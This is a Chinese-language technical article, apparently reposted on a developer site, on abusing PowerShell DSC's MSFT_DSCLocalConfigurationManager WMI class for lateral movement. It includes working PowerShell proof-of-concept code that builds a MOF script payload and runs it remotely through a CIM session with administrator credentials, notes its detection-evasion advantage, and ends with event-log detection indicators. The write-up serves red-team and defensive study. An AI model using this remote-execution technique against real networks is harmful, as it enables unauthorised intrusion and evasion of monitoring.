如何滥用PowerShell DSC进行横向渗透

栏目: 编程工具 · 发布时间: 6年前

内容简介:PowerShell的1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征,因此从规避检测的角度来看,这种方法具备一定的优势(至少在本文发表以前)。

如何滥用PowerShell DSC进行横向渗透

一、基本描述

PowerShell的 期望状态配置(Desired State Configuration,DSC) 可以让我们 使用WMI 来直接执行 资源 。通过DSC WMI类,我们可以滥用 内置脚本资源 来实现PowerShell代码的远程执行。这种横向渗透技术有如下几个有点:

1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征,因此从规避检测的角度来看,这种方法具备一定的优势(至少在本文发表以前)。

2、载荷的所有组件都仅依赖于WMI。

3、我们并不需要使用DSC服务的配置(甚至无需了解相关知识)。

二、具体需求

1、MSFT_DSCLocalConfigurationManager这个WMI类中必须存在ResourceTest方法,该类位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意:攻击者也可以选择调用ResourceGet或者ResourceSet方法。PowerShell DSC从PowerShell v4中开始引入,因此并非所有主机都可以使用这种技术。

2、默认情况下,我们必须具备管理员凭据才能远程调用WMI方法。在远程调用时,WMI受 DCOM 或者 WSMan 安全设置的保护。建立远程连接后,WMI本身通过与特定 命名空间 对应的安全描述符进行保护,在这种场景中,该命名空间为root/Microsoft/Windows/DesiredStateConfiguration。

三、PoC

第一个步骤是准备待执行的载荷。我们想在目标上执行的PowerShell代码必须采用 MOF 格式。在目标上执行的某个示例载荷如下所示:

$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
    ResourceID = "[Script]ScriptExample";
    GetScript = ""$(Get-Date): I am being GET"     | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    TestScript = ""$(Get-Date): I am being TESTED" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    SetScript = ""$(Get-Date): I am being SET"     | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    SourceInfo = "::3::5::Script";
    ModuleName = "PsDesiredStateConfiguration";
    ModuleVersion = "1.0";
    ConfigurationName = "ScriptTest";
};

instance of OMI_ConfigurationDocument
{
    Version="2.0.0";
    MinimumCompatibleVersion = "1.0.0";
    CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
    Author="TestUser";
    GenerationDate="02/26/2018 07:09:21";
    GenerationHost="TestHost";
    Name="ScriptTest";
};
'@

实际上,这里我们所需修改的唯一特征就是PowerShell载荷。在我们的示例中,我们将调用ResourceTest方法,该方法对应的是TestScript属性中的载荷。需要注意的是我们需要转义处理特殊字符。MOF自动化生成及载荷转义处理是可以自动化完成的操作。

下一个步骤是将MOF转化为二进制形式(ResourceTest方法所期望的数据格式):

# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True

$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)

if ($ExecuteRemotely) {
    # Prepend the length of the payload
    [Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
    # If executing locally, you do not prepend the payload length
    [Byte[]] $MOFBytes = $NormalizedMOFBytes
}

在上述代码中需要注意的是,如果我们在本地测试载荷,则无需将载荷长度添加到byte数组中。现在我们已经正确编码载荷,接下来只需要在目标上执行载荷即可。

# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'

# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential

$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession

if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
    # You may now proceed with lateral movement

    $MethodArgs = @{
        ModuleName       = 'PSDesiredStateConfiguration'
        ResourceType     = 'MSFT_ScriptResource'
        resourceProperty = $MOFBytes
    }

    $Arguments = @{
        Namespace  = 'root/Microsoft/Windows/DesiredStateConfiguration'
        ClassName  = 'MSFT_DSCLocalConfigurationManager'
        MethodName = 'ResourceTest'
        Arguments  = $MethodArgs
        CimSession = $RemoteCIMSession
    }

    # Invoke the DSC script resource Test method
    # Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
    Invoke-CimMethod @Arguments

} else {
    Write-Warning 'The DSC lateral movement method is not available on the remote system.'
}

在上述例子中,请注意我在执行之前首先验证了远程类以及方法是否存在。在使用WMI技术时,我建议大家在最终执行之前首先验证目标类和方法是否存在。

以上就是主要内容。我刻意介绍了个大概,在其他内容或者具体操作方面给大家留下较大空间。在这个例子中,载荷执行结果会在本地落盘。如果我们想通过WMI远程获取文件内容,可以参考 此处 介绍的方法。此外,在上述例子中,我使用了PSv3中才引入的CMI cmdlets,如果想兼容v2,大家也可以改造代码以适配老版WMI cmdlets。

四、发现过程

我是在学习DSC的基础知识时偶然发现了这种技术。我在网上找到了一篇 文章 ,文中讨论了如何使用WMI来直接调用DSC资源。我对WMI有所了解,因此这篇文章一下子引燃了我对这方面内容的兴趣。该文章演示了如何调用内置的文件资源,因此我只需要澄清如何调整细节,以便适用于脚本资源即可。

五、检测方法

幸运的是,如果我们能够获取事件日志,那么就有很多机会可以检测到这类技术。

Microsoft-Windows-PowerShell/Operational事件日志

53504事件

PowerShell Named Pipe IPC事件将告诉我们已启动的PowerShell AppDomain的名称。当DSC执行脚本资源时,该事件会自动捕捉DscPsPluginWkr_AppDomain AppDomain,顾名思义,这是DSC执行所特有的名称。典型事件如下:

Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.

4104事件

该事件与PowerShell v5脚本块(ScriptBlock)日志有关。攻击者可以轻松规避ScriptBlock的自动日志机制,但如果启用了全局ScriptBlock日志,那么攻击者的载荷操作基本上都会被记录在案。ScriptBlock日志不仅会记录下执行的载荷,也会捕捉与执行内置脚本资源有关的帮助程序代码。

调用脚本资源时被捕捉到的一些ScriptBlock数据样例如下所示:

# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @' ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: {0} ###PSLOC '@

Windows PowerShell事件日志

400事件

在典型的PowerShell日志中,ID为400的事件表明系统中启动了一个新的PowerShell宿主进程。当DSC脚本资源执行时,会生成独特的事件日志条目,我们可以轻松定位。典型例子如下:

Engine状态从None变为Available。

Details: 
 NewEngineState=Available
 PreviousEngineState=None

 SequenceNumber=13

 HostName=Default Host
 HostVersion=5.1.17134.81
 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
 HostApplication=C:Windowssystem32wbemwmiprvse.exe
 EngineVersion=5.1.17134.81
 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
 PipelineId=
 CommandName=
 CommandType=
 ScriptName=
 CommandPath=
 CommandLine=

PowerShell宿主进程在wmiprvse.exe上下文中启动(参考HostApplication字段),这可能是环境中(特别是工作站上)非常独特的一个特征。

Microsoft-Windows-DSC/Operational事件日志

4102事件

该事件表明某个DSC资源被发送到某个表上。该事件可以为我们提供执行DSC资源的用户SID以及来源主机信息(如果主机位于域环境中)。典型事件如下所示:

Job {893F64B5-ABBF-11E8-B005-D336977413FC} : 
Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.

六、总结

我录制了一个 视频 ,演示了如何使用DSC进行横向渗透,以及如何仅依赖WMI来远程获取文件内容。

大家可以访问 此处 下载演示代码,祝大家玩得开心。


以上所述就是小编给大家介绍的《如何滥用PowerShell DSC进行横向渗透》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

写给Web开发人员看的HTML5教程

写给Web开发人员看的HTML5教程

2012-3 / 45.00元

《写给Web开发人员看的HTML5教程》通过结合大量实际案例和源代码对HTML5的重要特性进行了详细讲解,内容全面丰富,易于理解。全书共分为12章,从HTML5的历史故事讲起,涉及了文档结构和语义、智能表单、视频与音频、画布、SVG与MathML、地理定位、Web存储与离线Web应用程序、WebSockets套接字、WebWorker多线程、微数据以及以拖曳为代表的一些全局属性,涵盖了HTML5所......一起来看看 《写给Web开发人员看的HTML5教程》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具